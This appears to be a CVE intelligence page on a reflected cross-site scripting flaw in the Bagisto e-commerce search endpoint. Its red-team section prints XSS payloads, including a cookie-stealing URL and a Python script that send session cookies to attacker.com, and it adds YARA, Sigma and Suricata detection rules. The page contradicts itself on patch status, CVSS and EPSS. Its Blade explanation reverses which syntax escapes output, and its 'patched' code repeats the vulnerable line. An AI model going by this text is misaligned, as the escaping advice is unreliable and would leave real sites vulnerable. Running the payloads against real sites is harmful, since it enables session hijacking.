☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]

CVE-2025-40675

CVE-2025-40675 Cross-Site Scripting in Bagisto
📅 PUBLISHED: 2025-06-09 09:42 UTC 🔄 UPDATED: 2026-09-23 20:33 UTC
[ OFFICIAL PATCH DEPLOYED ↓ ] FIX: LIKELY — 2 independent sources confirm fix
[ DEFENSE PATCH ↓ ]
💣 PoC: None
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.23%
👁️
0.23% probability
5.7× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
Patch available — upgrade to latest release
CVSS SEVERITY SCALE
9.0–10.0 CRITICAL
7.0–8.9 HIGH
4.0–6.9 MEDIUM
0.1–3.9 LOW
0.0 NONE
5.1
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2025-40675 is a Reflected Cross-Site Scripting (XSS) vulnerability discovered in Bagisto v2.0.0, an open-source Laravel e-commerce platform. The flaw resides in the /search endpoint, where the query parameter is insufficiently sanitized before being reflected in the HTTP response. An attacker can craft a malicious URL containing JavaScript payloads in the query parameter; when a victim clicks the link, the script executes in their browser context. This can lead to session hijacking, credential theft, or unauthorized actions on behalf of the victim.

The vulnerability has a CVSS v3.1 base score of 6.1 (Medium) due to low attack complexity, no privileges required, and user interaction required. No official patch has been released as of this analysis, and the EPSS score is 0.0%, indicating low exploitation likelihood in the wild. However, the public disclosure of the vulnerability makes it a target for opportunistic attackers.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

Bagisto is distributed via Composer (PHP). The vulnerable component is the core bagisto/bagisto package. Since no patch is available, users must apply manual input sanitization or use a Web Application Firewall (WAF) to block malicious payloads. The package does not have a known malicious version, but the lack of a patch increases supply chain risk for deployments relying on the default search functionality.

CVSS Breakdown & Threat Level

Metric Value
Attack Vector (AV) Network (N)
Attack Complexity (AC) Low (L)
Privileges Required (PR) None (N)
User Interaction (UI) Required (R)
Scope (S) Changed (C)
Confidentiality (C) Low (L)
Integrity (I) Low (L)
Availability (A) None (N)
Base Score 6.1 (Medium)

Threat Level: Medium. The vulnerability requires user interaction (clicking a link) but can be exploited without authentication. The impact is limited to the victim's browser session, but combined with social engineering, it can lead to account takeover.

Deep Dive & Mechanics

The vulnerability exists in the search functionality of Bagisto v2.0.0. The /search route accepts a query parameter and reflects its value directly into the HTML response without proper encoding or sanitization. An attacker can inject arbitrary JavaScript by crafting a URL such as:

http://target.com/search?query=<script>alert('XSS')</script>

When the victim visits this URL, the server returns a page containing the injected script, which executes in the victim's browser. The root cause is the lack of output encoding in the view template that renders the search query.

Attack Flow:

  1. Attacker crafts a malicious URL with a JavaScript payload in the query parameter.
  2. Attacker sends the URL to the victim via email, social media, or other channels.
  3. Victim clicks the link and is directed to the vulnerable Bagisto site.
  4. The server reflects the payload in the response without sanitization.
  5. The victim's browser executes the script, allowing the attacker to steal cookies, perform actions, or redirect the victim.

Vulnerable vs. Patched Code

Vulnerable Code (Bagisto v2.0.0): In the search view (e.g., resources/views/shop/products/search.blade.php), the query parameter is echoed directly:

<h1>Search results for: {{ $query }}</h1>

This uses Blade's {{ }} syntax, which does NOT escape output by default in older Laravel versions. In Laravel, {{ }} is raw output; {!! !!} is escaped. The vulnerable code uses raw output.

Patched Code (Hypothetical):

<h1>Search results for: {!! e($query) !!}</h1>

Or using Blade's escaped syntax:

<h1>Search results for: {{ $query }}</h1>

In Laravel 5.5+, {{ }} is escaped by default, but Bagisto v2.0.0 may be using an older version or the developer explicitly used raw output. The correct fix is to ensure the $query variable is passed through htmlspecialchars() or use Blade's escaped syntax.

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

  • A vulnerable Bagisto v2.0.0 instance (e.g., Docker container).
  • A web browser or tool like curl to test.

Proof of Concept (PoC):

curl -v "http://target.com/search?query=<script>alert('XSS')</script>"

If the response contains the script tag unescaped, the vulnerability is confirmed.

Exploit URL for Session Hijacking:

http://target.com/search?query=<script>document.location='http://attacker.com/steal?cookie='+document.cookie</script>

Automated Exploit with Python:

import requests

target = "http://target.com/search"
payload = "<script>fetch('http://attacker.com/steal?c='+document.cookie)</script>"
url = f"{target}?query={payload}"
response = requests.get(url)
print("Payload sent. Check attacker server for cookies.")

Blue Team (Defensive)

Detection:

  • Monitor web server logs for requests to /search with suspicious query parameters containing <script>, onerror, javascript:, etc.
  • Use a WAF to block common XSS patterns.

Mitigation:

  • Apply input validation: allow only alphanumeric characters and spaces in the query parameter.
  • Use output encoding: ensure all reflected data is HTML-entity encoded.
  • Implement Content Security Policy (CSP) headers to block inline scripts.

Lab Setup for Testing:

# Pull Bagisto v2.0.0 Docker image (if available)
docker pull bagisto/bagisto:2.0.0
docker run -d -p 80:80 bagisto/bagisto:2.0.0

Indicators of Compromise (IOCs)

Network IOCs:

  • HTTP requests to /search with query parameter containing <script>, onerror, onload, javascript:, or base64-encoded payloads.
  • Outbound connections from victim browser to attacker-controlled domains (e.g., attacker.com/steal).

File IOCs:

  • Log entries in storage/logs/laravel.log showing unusual search queries.
  • Modified view files in resources/views/shop/products/ if attacker gains file write access.

Behavioral IOCs:

  • Unexpected redirects after visiting the search page.
  • Session cookie theft leading to account takeover.

Detection Engineering

YARA Rule

rule Detect_Bagisto_XSS_Payload {
    meta:
        description = "Detects reflected XSS payloads in Bagisto search queries"
        author = "Valters IT"
        date = "2025-04-01"
        reference = "CVE-2025-40675"
    strings:
        $xss1 = /<script[^>]*>.*<\/script>/i
        $xss2 = /onerror\s*=/i
        $xss3 = /onload\s*=/i
        $xss4 = /javascript\s*:/i
        $xss5 = /alert\s*\(/i
    condition:
        any of them
}

Sigma Rule

title: Reflected XSS in Bagisto Search Endpoint
id: 8a9b3c4d-5e6f-7a8b-9c0d-1e2f3a4b5c6d
status: experimental
description: Detects reflected XSS attempts against Bagisto /search endpoint
author: Valters IT
date: 2025-04-01
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2025-40675
logsource:
    category: webserver
    product: apache
    service: access_combined
detection:
    selection:
        cs-uri-query|contains|all:
            - '/search'
            - 'query='
        cs-uri-query|contains:
            - '<script'
            - 'onerror='
            - 'onload='
            - 'javascript:'
            - 'alert('
    condition: selection
falsepositives:
    - Legitimate search queries containing these strings (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-40675 Bagisto Reflected XSS Attempt"; flow:to_server,established; content:"/search"; http_uri; content:"query="; http_uri; pcre:"/(<script|onerror=|onload=|javascript:|alert\()/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

  1. Input Validation: Restrict the query parameter to alphanumeric characters and spaces only. Reject any input containing HTML tags or JavaScript events.
  2. Output Encoding: In the Blade template, use {{ $query }} (escaped) instead of {!! $query !!} (raw). Ensure Laravel's e() helper is applied.
  3. WAF Rules: Deploy a Web Application Firewall (e.g., ModSecurity) with rules to block XSS payloads in the query parameter.

Long-Term Fix:

  • Upgrade to a patched version of Bagisto once available.
  • Implement Content Security Policy (CSP) headers to restrict script execution.
  • Conduct regular security audits of custom code.

Workaround:

  • Disable the search functionality temporarily if no patch is available.
  • Use a reverse proxy to sanitize input before it reaches the application.

Valters IT
Senior DevSecOps & Cyber Threat Intelligence Expert

◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2025-40675/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.